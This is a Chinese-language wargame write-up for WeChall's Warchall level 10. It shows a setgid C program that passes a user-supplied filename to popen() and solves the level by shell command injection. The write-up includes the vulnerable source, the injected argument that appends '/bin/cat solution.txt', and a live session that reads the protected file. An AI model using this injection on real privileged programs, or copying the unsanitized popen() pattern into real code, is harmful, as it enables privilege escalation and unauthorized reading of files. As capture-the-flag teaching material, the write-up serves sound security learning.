WeChall - Choose your Path

Challenge

This is the level10 mini challenge found in /home/level/10/ on the warchall box. You can view the source here. 这是 Warchall 服务器上的 Level 10 小挑战,目录在 /home/level/10/(当前服务器实际目录名为 /home/level/10_choose_your_path/),题目页面给出了源码。

题目程序 charp 会统计一个文件的平均每行字符数。源码核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#define BUFSIZE 256

int main(int argc, char *argv[])
{
FILE *fp;
char buf[BUFSIZE];
char *filename;
int lines, chars, cpl;

setregid(510,510); // set real and effective GID to level10

if (argc != 2) {
fprintf(stderr, "Usage: %s filename\n", argv[0]);
exit(EXIT_FAILURE);
}

filename = argv[1];

if (snprintf(buf, BUFSIZE, "/usr/bin/wc -l %s", filename) >= BUFSIZE) {
fprintf(stderr, "Filename %s is too long!\n", filename);
exit(EXIT_FAILURE);
}

fp = popen(buf, "r");
fscanf(fp, "%d", &lines);
pclose(fp);

snprintf(buf, BUFSIZE, "/usr/bin/wc -c %s", filename);
fp = popen(buf, "r");
fscanf(fp, "%d", &chars);
pclose(fp);

cpl = chars / lines;
printf("Chars per line is %d.\n", cpl);

return EXIT_SUCCESS;
}

目录里有两个关键文件:

1
2
3
4
$ ls -la /home/level/10_choose_your_path/
-rwxr-sr-x 1 level10 level10 16392 Jan 3 2023 charp
-rw-r--r-- 1 root level10 1303 Jan 3 2023 charp.c
-rw-rw---- 1 root level10 171 Jan 3 2023 solution.txt

solution.txt 对普通用户不可读,但 charp 有 setgid bit:执行时有效 group 变成 level10,所以它能读这个文件。

Solution

关键约束:

  • 程序确实用绝对路径 /usr/bin/wc,所以不能通过 PATH 劫持 wc
  • 但它把用户输入的 filename 直接拼进 shell 命令,再交给 popen() 执行。
  • popen() 等价于让 /bin/sh -c 执行字符串,因此 ;, |, #, redirection 都会被 shell 解析。

也就是说,这不是文件路径选择问题,而是 command injection。

程序第一次执行的命令形如:

1
/usr/bin/wc -l <filename>

如果我们把 <filename> 传成:

1
solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

实际命令会变成:

1
/usr/bin/wc -l solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

解释:

  • solution.txt 作为正常参数,让 wc 不至于立刻失败。
  • 1>&2 把 stdout 重定向到 stderr。charp 会从 popen() 的 stdout 里读取数字;如果把注入命令的输出留在 stdout,可能干扰 fscanf()
  • ; /bin/cat solution.txt 1>&2 追加执行 cat,借助 setgid 权限读取答案,并输出到 stderr。
  • # 注释掉后面可能拼接出的残余命令片段。

Live 验证命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh -p 19198 <username>@warchall.net
$ cd /home/level/10_choose_your_path
$ ./charp "solution.txt 1>&2; /bin/cat solution.txt 1>&2; #"
8 solution.txt
#!/C:\windows\system32\ed

Congratulations hacker,

You have achieved what only a few achieve.
Kinda.

The flag or solution for this challenge is: <masked>
Cannot scan! Sorry!
171 solution.txt
#!/C:\windows\system32\ed
...

输出会出现两次,是因为程序先执行 wc -l,再执行 wc -c,两次 popen() 都会拼接同一个 filename,所以注入的 cat solution.txt 也被执行两次。

EpidermalGlance